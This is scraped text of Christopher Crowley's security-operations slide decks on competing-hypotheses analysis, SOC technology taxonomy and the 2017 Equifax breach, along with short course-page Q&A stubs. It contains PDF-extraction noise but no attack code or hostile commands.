evidence on side •4) Refine matrix – remove or consolidate as appropriate •5) Tentative conclusions – disprove (don’t validate) item •6) Sensitivity – change critical elements to assess •7) Report conclusions – relative likelihood of each •8) Milestones – future events suggesting error in analysis •9) Peer ReviewReview - ACH – 8-Step ACH Process Copyright Chri stopher Crowley Security Operations 88 Analysis of Competing Hypotheses Background •We can create templates for the common situations we encounter to expedite the analysis portion •There’s a danger to this: you are not supposed to just fill in the template – don’t be limited by it, it’s a start •Work on templates, and revise perpetually •Start now: 3 most frequent situations requiring analysis, and build templates for those over the next three weeks Templates – Benefits and Risk Copyright Chri stopher Crowley Security Operations 89 Analysis of Competing Hypothesis Incident Type Hypothesis 1 Hypothesis 2 Hypothesis 3 … Data 1 Data 2 Data 3 Data 4 …Template Richards J Heuer – Analysis of Competing Hypothesis Book Download AvailableProbably a good idea to develop something like these templates for use in your environment as an analytical tool. It forces externalization and objective practice. Important – templates a work expediter, not a checkbox to fill in. Copyright Chri stopher Crowley Security Operations 90 Conclusion Copyright Chri stopher Crowley Security Operations 91 Thank You •CCrowMontance (twitter) •https://www.mgt517.com/soc for this slide deck & other public decks, plus additional references •Redistribution authorized, but please provide citation •https://www.montance.com/soc/timeline : current project for building a SOC •MGT517? :https://soc -class.com & https://montance.blogspot.com/2019/04/security - operations -class -status.htmlI Appreciate Your Time and Attention --- ## Source: https://montance.com/questions.php?id=120 [![pdf](content/images/icons/pdf.svg) SOC Metrics for FIRST.pdf](https://media.first.org/webinars/Metrics-SIG_Practical-SOC-Metrics.mp4) SOC Metrics For First Presentation covering Metrics titled 'SOC Metrics For First'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=143 [![pdf](content/images/icons/pdf.svg) SOC Survey Preview](https://www.sans.org/white-papers/39060/) SOC Survey Preview Presentation by Christopher Crowley (2019-06) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for SOC Survey Preview ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=121 [![pdf](content/images/icons/pdf.svg) Technology Taxonomy Crowley Pescatore.pdf](https://drive.google.com/file/d/1jTo-Gm8wgLgStQKO7wloT8N02ajNxfFx/view?usp=drive_link) Technology Taxonomy Crowley Pescatore Presentation covering Tech titled 'Technology Taxonomy Crowley Pescatore'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1jTo-Gm8wgLgStQKO7wloT8N02ajNxfFx/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1jTo-Gm8wgLgStQKO7wloT8N02ajNxfFx/view?usp=drive_link]** Technology TaxonomySOC-Class.com Copyright Chri stopher Crowley Security Operations 2 Who Am I? I Know Some Stuff, and I Do Some Things Copyright Chri stopher Crowley Security Operations 3 Enterprise Technology Selection Technology Intro •There’s no such thing as “SOC software” •You have to make many tools work together, the tools weren’t necessarily designed to play nicely with others •No authoritative reference for technology taxonomy •It’s a marketing -vendor and analyst -research - industry driven treadmill Copyright Chri stopher Crowley Security Operations 4 Technology Taxonomy Copyright Chri stopher Crowley Security Operations 5 Pass 1 – NIST CSF Copyright Chri stopher Crowley Security Operations 6 NIST CSF Reference Identify Protect Detect Respond Recover Cyber Security Framework Copyright Chri stopher Crowley Security Operations 7 NIST CSF – SOC Survey MappingOne List – SOC Survey •Asset discovery and inventory •Log management •Risk analysis and assessment SIEM (security information and event manager)Identify Copyright Chri stopher Crowley Security Operations 8 NIST CSF – SOC Survey MappingOne List – SOC Survey •Access protection and control/VPN •Application whitelisting •Deception technologies such as honeypotting •Data loss prevention •Egress filtering •Ingress filteringProtect •Malware detonation device (inline malware destruction) •Malware protection system (MPS) •Network Access Control (NAC) •Next -generation firewall (NGF) •SSL/TLS traffic inspection •Web application firewall (WAF) •Web proxy Copyright Chri stopher Crowley Security Operations 9 NIST CSF – SOC Survey MappingOne List – SOC Survey •Application log monitoring •Continuous monitoring and assessment •Behavioral analysis and detection •Endpoint monitoring and logging •DNS log monitoring •Customized or tailored SIEM use -case monitoring •AI or machine learning •eDiscovery (support legal requests for specific information collection) •External threat intelligence (for online precursors)Detect •Frequency analysis for network connections •Full packet capture •Netflow analysis •Network intrusion detection system (IDS)/Intrusion prevention system (IPS) •Network traffic monitoring •Packet analysis (other than full PCAP) •Threat hunting •Threat intelligence (open source, vendor provided) •User behavior and entity monitoring Copyright Chri stopher Crowley Security Operations 10 NIST CSF – SOC Survey MappingOne List – SOC Survey •Endpoint or host -based detection and response (EDR) •DoS and DDoS protection •Deception technologiesRespond Copyright Chri stopher Crowley Security Operations 11 NIST CSF – SOC Survey MappingOne List – SOC Survey •Ransomware prevention •Vulnerability remediationRecover Copyright Chri stopher Crowley Security Operations 12 Pass 2 – Crowley Categories Copyright Chri stopher Crowley Security Operations 13 SOC System Secure Architecture Visibility (External Awareness)Comm - unicationOpsDetection & PreventionStorage Deception AnalysisSOC Systems - Overall Copyright Chri stopher Crowley Security Operations 14 SOC System Secure Architecture Visibility (External Awareness) Threat Intel PortalsOperational Status informationNews informationWeatherInternet WeatherVisibility – External Awareness Copyright Chri stopher Crowley Security Operations 15 SOC System Secure Architecture Communication PhoneEncryption for CommunicationWebsitesPortals: Status, Metrics, Incident, TicketingSOC Systems Copyright Chri stopher Crowley Security Operations 16 SOC System Secure Architecture Operations Automation & OrchestrationTicketingDev,QA,Stage of Production/Operational toolsSOC Systems - Overall Copyright Chri stopher Crowley Security Operations 17 SOC System Secure Architecture Detection & Prevention Endpoint: EDR, App whitelisting, DLP, Behavioral Analytics, e - Discovery, logs, containment / response toolsNetwork: NIDS, PCAP, taps, logs, containment / response tools, detonation devicesInfrastructure: Switch, Firewall configuration, logs, containment / response tools, WiFiExtrastructure : Cloud, Social analysis (not threat intel, but compromise and data), Cellular, ISP dependency, partner capability, tertiary DNS, CDN, connectors / APIs, logs, containment / response toolsCorrelation: SIEM, LCE, etc.SOC Systems Copyright Chri stopher Crowley Security Operations 18 SOC System Secure Architecture Storage Data Aggregation: Data lakes, Federation, Separation/CompartmentalizationRetention: disks, discovery requirements,Physical Controls: backups, safes, DestructionSOC Systems Copyright Chri stopher Crowley Security Operations 19 SOC System Secure Architecture Deception Internet connectivityModelsHoneytokens: files, folders, accounts, Honeypots: endpoints, servers, networksSOC Systems Copyright Chri stopher Crowley Security Operations 20 SOC System Secure Architecture Analysis Modeling and Testing EquipmentBaseline systemsCorrelation, MappingForensics: Endpoint, Network, ScannersCode manipulation: disassembler, debuggerSimulatorsSOC Systems Copyright Chri stopher Crowley Security Operations 21 Portfolio OptionsTechnology Selection Twitter, news sites, Threat connect, OTX, Maltego CE, MRTG, RRD tool, MITRE ATT&CKVisibility (External Awareness) GPG, Skype, Slack, Linux servers Communication The Hive, RTIR Ops SIFT, GRR, Winpmem /Volatility, OSSEC, syslog, SecurityOnion , ELK, Wireshark, Kismet, CuckooDetection & Prevention MySQL, Postgresql , syslog, ELK Storage Tor, public access, Remnux , ADHD, Canary tokens, Kippo Deception Virtualbox , GDB, Immunity, Metasploit, radare2, STIGs, Timesketch , Maltego CE, Yara, SIFT, Burp, Arachni , JaD-XAnalysisTypical Open Source Copyright Chri stopher Crowley Security Operations 22 Portfolio OptionsTechnology Selection Threat Connect, OTX, Maltego , What’s Up, MITRE ATT&CKVisibility (External Awareness) Vonage Cloud, Exchange PKI, Microsoft Teams, AWS EC2, Communication CyberCPR , Jira+Confluence , Demisto , ZenDesk Ops SafeBack , FTK, F -response, Tripwire, Windows Defender, AppLocker, Bitlocker , Fortinet, NetWitness , LogRhythm, ProofPoint , Tripwire, AirDefense , AlienVaultDetection & Prevention AWS EC2, Azure, Dropbox, Shredding / IronMountain Storage Cable / DSL connection, VMWare Workstation, Honeybot , Authentic8 Deception VMWare Workstation, CobaltStrike , Trackwise Change Management, Tripwire, PowerShell DSC, CaseFile , Maltego , FRED workstation, Burp Professional, Hopper, JEBAnalysisTypical Moderate Copyright Chri stopher Crowley Security Operations 23 Portfolio OptionsTechnology Selection RecordedFuture , Crowdstrike , CarbonBlack , Tivoli, Cisco NetFlow, iSIGHTVisibility (External Awareness) Avaya, Silent Circle, iOS phones, PKI signed user certs Communication Service Now, Phantom(Splunk), Remedy Ops Tableau, Fireeye HX, CarbonBlack Protect, Encase eDiscovery, Cylance Protect, McAfee FDE, Cellebrite UFED, Cisco FirePOWER , Splunk (logging), Solera, Arbor Network, Cisco wIPS , Palo Alto, Fireeye AX, McAfee Skyhigh , Splunk Enterprise SecurityDetection & Prevention Tenable LCE, data lake from SIEM, SAN LUNs, Safe with logging and per user access control, Commercial degausser Storage Authentic8, VMWare vSphere, redundant non -attributable network, Javelin Networks, Cymmetria MazeRunner , Joe Sandbox Deception VMWare Workstation, CobaltStrike , CaseFile , Maltego , FRED workstation, Burp Professional, IDA Pro, CoreImpact , Rapid7 Nexpose, ServiceNow (change control), McAfee ePolicy Auditor, Chef/Puppet, Crowstrike Falcon X, Cisco AMP, Cellebrite UFED 4PC, Encase Enterprise, Tenable SCAnalysisTypical Enterprise Copyright Chri stopher Crowley Security Operations 24 Additional Technology Thoughts Copyright Chri stopher Crowley Security Operations 25 Secure SOC Architecture Secure Architecture •The SOC contains all information for defense of your organization •It should be considered a critical infrastructure component •SOC information systems receive substantial protection of: •Integrity •Availability •Confidentiality •Failure represents a loss of control, or perception that the information systems are operating normally when they are notSOC is the Defense Copyright Chri stopher Crowley Security Operations 26 SOC System Administration Secure Architecture •Considerations in systems administration for the SOC resources •Separation of duties between operations and SOC activities •Redundant system administration staff in both SOC and IT Operations is costly •Available skillset to manage systems, IT Ops SysAdmins might not be capable of administrating specialized SOC systems •Decision •ROM 1 and 10 will transfer basic SysAdmin duties to IT Ops, probably have one or two people with shared responsibility for SOC system •ROM 100 and 1,000 will have dedicated internal System Admins, with a subfunction in Command Center or NSM for this work SOC Systems – who manages them? Copyright Chri stopher Crowley Security Operations 27 Technology Integration The Program •In addition to selecting specific technologies you must assure that your tools interface with one another and your ticket and tracking systems •Having a well -designed process makes this easier •We’ll discuss data flow tomorrow in operation. A defined operational plan enables specifying electronic information exchange requirements at Request for Proposal (RFP) from vendorsInteroperability Copyright Chri stopher Crowley Security Operations 28 Technology Integration The Program •Scripting •Challenge of long term maintenance, adequate skillset •Professional Services •Expensive, can be difficult to schedule in time •Only select compatible products •Lock -in, missed opportunities •Automation / Orchestration Tool •Current practice (and the latest buzzy marketing word)What is the Data Glue? Copyright Chri stopher Crowley Security Operations 29 SOC Components Technology Intro •Location – decide on centralized or distributed •Perhaps a follow the sun model for Global organizations •Insulation of SOC staff •SOC staff generally are not available to handle direct requests and should be physically isolated •Have a help desk function (either part of the SOC, or your actual help desk) between technical staff and customers Copyright Chri stopher Crowley Security Operations 30 Selection Factors Technology Intro •You may be fortunate enough to have funding to get all of these things initially •Important factors •Information transfer between systems •Vendor support / relationship •Configurability and customization •Adequate volume support, scalability and growth path Copyright Chri stopher Crowley Security Operations 31 Detailed Selection Criteria Technology Intro •Best practices and patterns – are they provided? Or is it DIY? •Configuration – Ease of configuration •Convention – What is the standard use? •Horizontal scaling – Scalability within SOC framework •Testing – Can you test it? How? •Scaffolding – Configuration helpers, or manual coding required?Part One Copyright Chri stopher Crowley Security Operations 32 Detailed Selection Criteria Technology Intro •Monitoring – How will you track the performance and issues? •Track record – Support offering, other customers, company survivable? •Integration – Data portability, data integration, connectors available? •Modularity –Data transfer capabilities based on objects or raw data?Part Two --- ## Source: https://montance.com/questions.php?id=118 [![pdf](content/images/icons/pdf.svg) HK Equifax SO.pdf](https://drive.google.com/file/d/1j5uk-vfJ5psgZsvBrTBaw2OOajT80vId/view?usp=drive_link) HK Equifax So Presentation covering Case Study titled 'HK Equifax So'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What region is focused on in this presentation? A: Hong Kong / Asia Pacific. * Q: What is the 'Authorized Economic Operator' (AEO)? A: A certification standard for supply chain security. * Q: What is the 'PDPO'? A: Personal Data (Privacy) Ordinance - Hong Kong's data privacy law. * Q: What is the 'HKMA'? A: Hong Kong Monetary Authority. * Q: What is 'C-RAF'? A: Cyber Resilience Assessment Framework. * Q: What is 'iCAST'? A: Intelligence-led Cyber Attack Simulation Testing. * Q: What is 'CREST'? A: Council of Registered Ethical Security Testers. * Q: What is 'CBEST'? A: A framework for intelligence-led penetration testing. * Q: What is 'TIBER-EU'? A: Threat Intelligence-based Ethical Red Teaming. * Q: What is the 'Mitre ATT&CK' framework? A: A knowledge base of adversary tactics and techniques. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1j5uk-vfJ5psgZsvBrTBaw2OOajT80vId/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1j5uk-vfJ5psgZsvBrTBaw2OOajT80vId/view?usp=drive_link]** 2019 -03 Security Operations to Avoid Being the Next EquifaxChristopher Crowley - CCrowMontance Copyright Chri stopher Crowley Security Operations 3 Introduction Copyright Chri stopher Crowley Security Operations 4 Christopher Crowley •Background: started working in computers in 1988, before security was much of a concern. Had root on most systems in employer at 15 years old •Has worked in several sectors: Education, Energy, Government, Software Development, Defense, Financial, Telecommunications •Currently: Consultant, author of (SANS deprecated) MGT517: Security Operations. Teaches: SecOps, SEC511, SEC575, SEC504, … •Consultant, with focus on overall operationsSANS Senior Instructor Twitter: CCrowMontance Copyright Chri stopher Crowley Security Operations 5 Presentation Available to Download https://mgt517.com/soc You can take photos & tweet if that’s your thing, but I would really like you to pay attention to me, which is why I’m making this slide deck available to youStop taking notes Copyright Chri stopher Crowley Security Operations 6 Terminology & Background Copyright Chri stopher Crowley Security Operations 7 How This Will Work •I’m going to give you some background so you understand where I’m coming from •This is a lot of terms, technology, mindset, etc. •It will be helpful when I get into the story that I want to tell youMy Approach Copyright Chri stopher Crowley Security Operations 8 Full Spectrum Capability •The US DOD Defense Science Board describes adversaries in six tiers •The top tier attackers are nations state funded, and are in the “Billion Dollar Club” in capability of spending •This type of attacker can bring the full capability of traditional intelligence capabilityThreat Taxonomy Copyright Chri stopher Crowley Security Operations 9 Examples •MITRE / Carson Zimmerman: https://mgt517.com/csoc -mitreCSOC – Cyber Security Operations Center Copyright Chri stopher Crowley Security Operations 10 Functional Areas of a SOC Crowley Defined Steering Committee Command Center Network Security MonitoringThreat Intelligence Incident Response Forensics Self-Assessment Copyright Chri stopher Crowley Security Operations 11 Models of Analysis Weltanschauung •Caltagirone, Pendergrast, Betz •The Diamond Model of Intrusion Analysis •All events have the elements: adversary, infrastructure, capability, and victim •Edge connected, sequenced graphs of these nodes are Activity threads •Events are described by tuples with feature and confidence E = {f1,c1; f2,c2;…}Diamond Model Copyright Chri stopher Crowley Security Operations 12 Models of Analysis Weltanschauung •Hutchins, Cloppert, Amin published Intelligence -Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains •Based on military targeting doctrine of •Find, Fix, Track, Target, Engage, and Assess •Intrusion Kill Chain is: Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command and Control, Actions on ObjectivesPhases In Diamond Model: Kill Chain Copyright Chri stopher Crowley Security Operations 13 Diamond Model What Else? Interruption: Beyond Prevent/Detect Adversary Interruption Explanation Detect Enhanced methods for identifying the presence of adversary activity. Degrade Reduce the ability of the adversary to perform operations, but not able to completely stop actions. Disrupt Stop adversary action while it is occurring. Deny Prevent adversary from completing an action. Deceive Provide misinformation to adversary to cause expenditure of resources, cause mistakes, and/or facilitate detection. Copyright Chri stopher Crowley Security Operations 14 Phin Phisher DefenseHack Back - A DIY Guide Phineas Phisher vs. Hacking Team – Diamond Model - Initial Entry Kill Chain Phases External Facing Appliance Notes Interruption? Reconnaissance A: Phin; I: compromised assets; C: network scans; V: HT networkScanning performed Weaponization A: Phin; I: unknown; C: exploit development; V: appliance OSDevelops custom exploit Delivery uncertain Exploitation uncertain Gather more info? Installation A; I: custom firmware;C: firmware ;V: applianceCustom firmware Command and ControlA; I: DNS servers; C: remote access; V: applianceDNS Control Channels Action on ObjectivesA; I: Network access in HT DMZ; C: firmware implant; V: applianceInitial entry grants access to environment Copyright Chri stopher Crowley Security Operations 15 Cultural Dimensions Weltanschauung •Power Distance Index (PDI) •Individualism versus Collectivism (IDV) •Masculinity versus Femininity (MAS) •Uncertainty Avoidance Index (UAI) •Long Term Orientation versus Short Term Normative Orientation (LTO) •Indulgence versus Restraint (IND)Geert Hofstede – National Culture Copyright Chri stopher Crowley Security Operations 16 Cultural Dimensions Weltanschauung • Means -oriented vs. Goal -oriented • Internally driven vs. Externally driven • Easygoing work discipline vs. Strict work discipline • Local vs. Professional • Open system vs. Closed system • Employee -oriented vs. Work -oriented • Degree of acceptance of leadership style • Degree of identification with your organizationGeert Hofstede – Organizational Culture Copyright Chri stopher Crowley Security Operations 17 Sequence of Equifax Events Copyright Chri stopher Crowley Security Operations 18 Walk Through •Next we’ll talk through what is known of the sequence of events •I’ll make important points as we go •But after the full sequence we’ll review lessons learned in detail •This is all in 2017 (except the SSL certificate)Will Discuss Lessons Learned Afterward Copyright Chri stopher Crowley Security Operations 19 Sequence of Events Equifax, 2017 Jan 31, 2016Certificate allowing SSL visibility expires Feb 14Struts vulnerability identified Mar 7Struts Public Disclosure - CVE -2017 -5638 – CVSS BASE: 10.0 Copyright Chri stopher Crowley Security Operations 20 Sequence of Events Equifax, 2017 Mar 8 Equifax notified by US -CERT (Probably generic notice to many orgs) Mar 9Internal Equifax notification: Patch Struts within 48 hours Mar 10Post exploit discovery reveals this is initial entry date / time by intruder (48 hours) Copyright Chri stopher Crowley Security Operations 21 Sequence of Events Equifax, 2017 Mar 14Internal Emerging Threats team releases Snort rule to identify attack traffic. Countermeasures team installs it Mar 15Updated McAfee signatures provides check for Struts vulnerability. Scans conducted, no vulnerabilities reported Mar 16Global Vulnerability Team briefs on vulnerability and tells teams to patch, everyone sent copies of slides Copyright Chri stopher Crowley Security Operations 22 Sequence of Events Equifax, 2017 May 13Struts front end to ACIS system – ACIS houses customer information, and hasn’t been updated in decades May 13 – July 30Attackers gain initial access via Struts, maintain access using installed webshells InfraTwo application servers, two web servers Firewall protecting network segment, but web servers exposed Copyright Chri stopher Crowley Security Operations 23 Infrastructure Diagram (Simplified) Copyright Chri stopher Crowley Security Operations 24 Sequence of Events Equifax, 2017 May 13 - July 30 Web shells installed on both application servers from web servers May 13 – July 30Accessible file share mounted, contained file with plain text credentials (contrary to policy) File shares not segmented within “legacy environment” Copyright Chri stopher Crowley Security Operations 25 Sequence of Events Equifax, 2017 May 13 – July 30Credentials stolen from file shares used to access database servers Segmentation of databases not performed, all Equifax DBs available from within ACIS May 13 – July 30Access to the data base servers included queries for meta data to identify the information found within tables 9,000 total queries performed, undetected and unchallenged Copyright Chri stopher Crowley Security Operations 26 Sequence of Events Equifax, 2017 May 13 – July 309,000 queries, 265 had PII information No secondary protection such as encryption within the database for PII data InfraVisibility for monitoring was expected to be performed by SSL intercept capable inspection of traffic into the ACIS network Copyright Chri stopher Crowley Security Operations 27 Sequence of Events Equifax, 2017 (January 31, 2016)Certificate allowing SSL visibility expires Copyright Chri stopher Crowley Security Operations 28 Sequence of Events Equifax, 2017 July 29Countermeasures team installs new certificates to SSLV system (67 new certs) July 29Monitoring occurs, due to newly returned visibility July 29Obvious unauthorized network connection from ACIS environment to IP address in China Copyright Chri stopher Crowley Security Operations 29 Sequence of Events Equifax, 2017 July 29Full PCAP tool used to inspect traffic related to specific IP address July 2910 MB of data transferred during this session No previous full PCAP available due to SSL cert July 29ISP for this IP address blocked Copyright Chri stopher Crowley Security Operations 30 Sequence of Events Equifax, 2017 July 30Vulnerability Scanning of ACIS environment performed July 30Vulnerability scan results indicate SQL injection flaws, and insecure direct object reference issues July 30Forensic investigation of hosts indicates that PII was access by unauthorized resources Copyright Chri stopher Crowley Security Operations 31 Sequence of Events Equifax, 2017 July 30Second malicious IP address – in Germany identified as accessing ACIS environment 12:41pmACIS environment taken offline “for emergency maintenance.” July 30 Executives and Senior Executives briefed on status of breach Copyright Chri stopher Crowley Security Operations 32 Sequence of Events Equifax, 2017 ~Aug 14Effort of 50 -60 people start working on remediation effort (Project Sparta) Substantial effort put forth to develop customer facing portal Sept 4143 Million affected users identified Copyright Chri stopher Crowley Security Operations 33 Sequence of Events Equifax, 2017 Sept 7Public notification Website, Call Centers Formal notification to all 50 states Copyright Chri stopher Crowley Security Operations 34 Sequence of Events Equifax, 2017 Sept 7 - 30Website clones generated Official Equifax twitter tweets link to wrong site Mis-information provided to customers Website intermittently unavailable, code inefficiencies due to short fuse development Copyright Chri stopher Crowley Security Operations 35 Sequence of Events Equifax, 2017 Sept 15CISO and CSO retire Sept 26CEO Retires Oct 2Forensic investigation finalized, number increases from 143 to 145.5 CIO for Global Platforms (ACIS) fired Copyright Chri stopher Crowley Security Operations 36 Sequence of Events Equifax, 2017 Early 2018Affected individuals calculation rises to ~148 million Copyright Chri stopher Crowley Security Operations 37 Sequence of Events Equifax, 2017 Final Details of Data Breach •Final Stats •Name: 146.6M •DOB: 146.6M •SSN: 145.5M g@M3 () \/3R  Copyright Chri stopher Crowley Security Operations 38 Lessons Learned from Equifax Copyright Chri stopher Crowley Security Operations 39 Lessons Learned •When there are lots of items like this, I try to enumerate them in an ordered fashion, so I’m going to go through the timeline above and point out some items. Would take days to consider and report all •I typically would do this with Kill Chain or Diamond Model to explain the intervention opportunities, next slide is a repeat example from another famous compromise: Phin Phisher attacking Hacking TeamWhere to Start? Copyright Chri stopher Crowley Security Operations 40 Phin Phisher DefenseHack Back - A DIY Guide Phineas Phisher vs. Hacking Team – Diamond Model - Initial Entry Kill Chain Phases External Facing Appliance Notes Interruption? Reconnaissance A: Phin; I: compromised assets; C: network scans; V: HT networkScanning performed Weaponization A: Phin; I: unknown; C: exploit development; V: appliance OSDevelops custom exploit Delivery uncertain Exploitation uncertain Gather more info? Installation A; I: custom firmware;C: firmware ;V: applianceCustom firmware Command and ControlA; I: DNS servers; C: remote access; V: applianceDNS Control Channels Action on ObjectivesA; I: Network access in HT DMZ; C: firmware implant; V: applianceInitial entry grants access to environment Copyright Chri stopher Crowley Security Operations 41 Lessons Learned •A good way to reinforce a lesson is to review it shortly after the lesson, to reinforce the thoughts •If you want, take this slide deck, go through the preceding Equifax sequence and enumerate suggested interruption opportunities •In the interest of time, I’m going to discuss some of them in the following slides •Feel free to send your results to me: chris @ montance.comYour Homework Copyright Chri stopher Crowley Security Operations 42 Reminder: Diamond Model What Else? Interruption: Beyond Prevent/Detect Adversary Interruption Explanation Detect Enhanced methods for identifying the presence of adversary activity. Degrade Reduce the ability of the adversary to perform operations, but not able to completely stop actions. Disrupt Stop adversary action while it is occurring. Deny Prevent adversary from completing an action. Deceive Provide misinformation to adversary to cause expenditure of resources, cause mistakes, and/or facilitate detection. Copyright Chri stopher Crowley Security Operations 43 (January 31, 2016)Certificate allowing SSL visibility expires Interruption OpportunitiesSequence of Events Equifax, 2017 Detect: Scan for certificatesDetect: SIEM feed healthDisrupt: Web app firewallDeny: Fail Closed Copyright Chri stopher Crowley Security Operations 44 Zimmerman: Coverage •SIEM report assessing the feed performance •Would have easily identified the SSL visibility lapseCoverage Report Example Copyright Chri stopher Crowley Security Operations 45 Crowley Incident Avoidability •On a (discrete) scale of 1,2,3, was it avoidable? •1 means a measure, already available in the environment wasn’t applied and resulted in the incident •2 means a measure is available in the larger environment and something (economic, political) prevents implementing it within the organization •3 means nothing is available to prevent that method of attack •Assess every issue identified in this waySimple: 1, 2, 3 1•Patch available, but not applied 2•Patch available, risk decision not to apply 3•No patch available (zero day) Copyright Chri stopher Crowley Security Operations 46 Crowley Incident Avoidability Equifax Score: 1 1•Patch available, but not applied Copyright Chri stopher Crowley Security Operations 47 Crowley Incident Avoidability •You don’t care about US Congress (or Equifax Board of Directors), but when you have to go explain what happened to whatever authority you answer to, do you want to be explaining why you were a 1? •They were all CYA, fired this person, we’re making improvements, etc.Equifax Score: 11•Patch available, but not applied Copyright Chri stopher Crowley Security Operations 48 Impact Level Definition •Few systems (or only a specific type) •Unimportant systems •Unimportant data Low •More systems (or many common types) •Important or high value person’s, account, or system •Important data at risk Moderate •Most systems (or almost all types) •Highest level accounts, users, and systems •Business critical data HighDoes Your Management Understand This Already? Copyright Chri stopher Crowley Security Operations 49 Impact Category Definition •Low – minimal function disruption •Moderate –substantial disruption •High –complete disruptionFunctional •Intellectual Property (L/M/H) •Integrity Manipulation (L/M/H) •Privacy violated (such as PII / PHI)Informational •Regular – predictable using resources on hand •Supplemented –predictable with augmented resources •Unrecoverable –data breach which cannot be undoneRecoverableDoes Your Management Understand This Already? Copyright Chri stopher Crowley Security Operations 50 Scale: 1-10 3 7 10 Low Moderate High 3Functional 9 21 30 7Informational 21 49 70 10Recoverable 30 70 100Impact Quantification Example Quantification Current Incident 191 Legacy System #8 - ACIS Copyright Chri stopher Crowley Security Operations 51 The Key to This Talk •So, take the most important asset you have, and think about how that isn’t being protected effectively •Assume that protection will fail, then think about how you can prevent catastrophic failure, as well as what you’ll do when failure (small or large) happens •Let’s check out how Equifax performed when they identified the issueYour Company, Like Equifax, Has Something of Value Copyright Chri stopher Crowley Security Operations 52 Communication Is Critical Don’t Create a New Domain During a Security Incident •First version of Equifax imposter page, courtesy, internet archive Copyright Chri stopher Crowley Security Operations 53 Equifax Dumpster Fire •Again, don’t create a new website •If you do, be sure you tweet the correct address:What Not to Do During a Security Incident https://www.equifaxsecurity2017.com/ 53 Copyright Chri stopher Crowley Security Operations 54 Resolution to Asset Discovery •System recording the responsible party for each system •Owner •Contact for Operations •Data experts •Boundaries •Scenarios of compromise (actual past, or industry specific) •Risk management •Incident handling specific details •Public relations point of contact •Legal requirements and notificationFundamental Error – No Culpability/Responsibility: Until After Breach Copyright Chri stopher Crowley Security Operations 55 Does Anyone Do Asset Discovery? •Seriously, is the technology incapable of identifying systems on your network? •I think the disappointment is mapping to useful organizational contactA Technology Problem? Copyright Chri stopher Crowley Security Operations 56 Matrix Depiction Network Infrastructure •Owner: Dir Network •POC: Thomas Racks •Impact: Moderate - HighServer Infrastructure •Owner: CIO •POC: Thomas Racks •Impact: Low - HighWorkstations •Owner: Dir Network •POC: Thomas Racks •Impact: Moderate – HighFinancial •Owner: CFO •POC: Sarah Banks •Impact: Moderate - HighJABB •Owner: BB Acct POC •POC: Vincent Lehman •Impact: Moderate - HighAMD •Owner: AMD Acct POC •POC: Alexandra Harris •Impact: Moderate – HighGCCS •Owner: GCCS Acct POC •POC: Victoria Houston •Impact: Moderate – HighMEH •Owner: MEH Acct POC •POC: Iggy Calendula •Impact: Low - ModerateGeneric Server System •Owner: CIO •POC: SOC Manager •Impact: Low –HighGeneric System •Owner: CIO •POC: SOC Manager •Impact: Low –HighGeneric Cloud Hosted System •Owner: CIO •POC: SOC Manager •Impact: Low - HighPart 1 - Capabilities Mapped to System Types •Centralized knowledge base of known and unknown system types: reporting requirements, service level objectives (SLO), POCs, Strategies, reporting SLAs, customers, cyber insurance •Handling strategies, guidance for impact determination, IP address ranges, operating system types, exceptions, known vulnerabilities, previous incident types, associated exercises, response capabilities applied based on per -system and per-incident type •Internal dependencies, cloud contracts, external auditors, legal council Copyright Chri stopher Crowley Security Operations 57 Matrix Depiction Internal CapabilityRecon Weapon - izationDelivery Exploit Install Command & ControlAction on Objectives Spam Gateway + -- ++ +- +- -- - EDR- -- + + + + +- NIDS- -- + +- + + - Network Proxy + - ++ - +- ++ + IR - Containment - -- - - - + +Part 2 – Defense Capabilities List Versus Kill Chain Phase •List your capabilities against attacker cyber threat kill chain (or ATT&CK) phases, to know what you have at your disposal in unfamiliar circumstances Copyright Chri stopher Crowley Security Operations 58 Matrix Depiction – Invincea Example •Here Invincea has listed the NIST Cyber Security Framework (CSF) and identified adversary TTPs (and specific targets) cross walked to capabilities and technology Copyright Chri stopher Crowley Security Operations 59 Equifax Issue: Sprawling IT ProductRegionalGlobalGlobal Headquarters APAC Product 1 Product 2Europe Product 3 Product 4In fo r m at io nD ir ec ti o n Copyright Chri stopher Crowley Security Operations 60 Response Capability Empowerment •Does the police department ask permission to cordon off an area, or drive cars fast to chase criminals? Yes, they absolutely do. They have protocols, requirements, and consideration for safety of innocent people. •Identify the authority to conduct response on each type of system, and what is to be done for unknown systems for containment. •Use business continuity plans for eradication and remediation: don’t create new plans unless no business continuity plan exists. Copyright Chri stopher Crowley Security Operations 61 Response Capability Empowerment •Three characters of incident response •Janitorial Services •Fire Fighters •Apex Predators •https://www.mgt517.com/ir3 Copyright Chri stopher Crowley Security Operations 62 Technology Selection Issues •Inadequate “glue” to connect the different tools •Poor selection of tools for the given purpose •Often a result of buying tools prior to understanding the intended purposes •Protection scenarios expressed as “use cases” •Video of Crowley’s presentation on use case development from 2017 SOC Brief is available: https://mgt517.com/use -case (registration required) Copyright Chri stopher Crowley Security Operations 63 Technology Selection Issues •Whatever technologies are selected, each changes with some frequency and must be kept up to date •SIEM in particular, but all other tools require dedicated staff to keep 